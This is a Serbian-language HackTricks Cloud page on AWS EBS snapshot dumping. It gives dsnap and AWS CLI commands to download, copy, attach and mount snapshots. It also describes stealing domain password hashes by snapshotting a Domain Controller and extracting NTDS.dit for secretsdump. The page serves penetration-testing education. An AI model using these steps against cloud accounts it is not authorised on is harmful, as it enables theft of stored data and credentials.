AWS - EBS Snapshot Dump
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Provera snimka lokalno
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
caution
Napomena da dsnap
neće omogućiti preuzimanje javnih snimaka. Da biste to zaobišli, možete napraviti kopiju snimka u svom ličnom nalogu i preuzeti to:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Za više informacija o ovoj tehnici proverite originalno istraživanje na https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Možete to uraditi sa Pacu koristeći modul ebs__download_snapshots
Proveravanje snimka u AWS-u
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Montirajte ga u EC2 VM pod vašom kontrolom (mora biti u istoj regiji kao kopija rezervne kopije):
Korak 1: Novi volumen vaše omiljene veličine i tipa treba da bude kreiran odlaskom na EC2 –> Volumeni.
Da biste mogli da izvršite ovu akciju, pratite ove komande:
- Kreirajte EBS volumen koji će se priključiti EC2 instanci.
- Osigurajte da su EBS volumen i instanca u istoj zoni.
Korak 2: Opcija "priključi volumen" treba da bude izabrana desnim klikom na kreirani volumen.
Korak 3: Instanca iz tekstualnog okvira instance treba da bude izabrana.
Da biste mogli da izvršite ovu akciju, koristite sledeću komandu:
- Priključite EBS volumen.
Korak 4: Prijavite se na EC2 instancu i nabrojite dostupne diskove koristeći komandu lsblk
.
Korak 5: Proverite da li volumen ima podataka koristeći komandu sudo file -s /dev/xvdf
.
Ako izlaz gornje komande prikazuje "/dev/xvdf: data", to znači da je volumen prazan.
Korak 6: Formatirajte volumen u ext4 datotečni sistem koristeći komandu sudo mkfs -t ext4 /dev/xvdf
. Alternativno, možete koristiti i xfs format koristeći komandu sudo mkfs -t xfs /dev/xvdf
. Imajte na umu da treba da koristite ili ext4 ili xfs.
Korak 7: Kreirajte direktorijum po vašem izboru da montirate novi ext4 volumen. Na primer, možete koristiti naziv "newvolume".
Da biste mogli da izvršite ovu akciju, koristite komandu sudo mkdir /newvolume
.
Korak 8: Montirajte volumen u direktorijum "newvolume" koristeći komandu sudo mount /dev/xvdf /newvolume/
.
Korak 9: Promenite direktorijum u direktorijum "newvolume" i proverite prostor na disku da biste potvrdili montiranje volumena.
Da biste mogli da izvršite ovu akciju, koristite sledeće komande:
- Promenite direktorijum u
/newvolume
. - Proverite prostor na disku koristeći komandu
df -h .
. Izlaz ove komande treba da prikazuje slobodan prostor u direktorijumu "newvolume".
Možete to uraditi sa Pacu koristeći modul ebs__explore_snapshots
.
Proveravanje snimka u AWS (koristeći cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Svaki AWS korisnik koji ima EC2:CreateSnapshot
dozvolu može ukrasti heševe svih korisnika domena kreiranjem snapshot-a Kontrolera Domen i montiranjem na instancu koju kontroliše, a zatim izvozom NTDS.dit i SYSTEM registra za korišćenje sa Impacketovim secretsdump projektom.
Možete koristiti ovaj alat za automatizaciju napada: https://github.com/Static-Flow/CloudCopy ili možete koristiti neku od prethodnih tehnika nakon kreiranja snapshot-a.
References
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.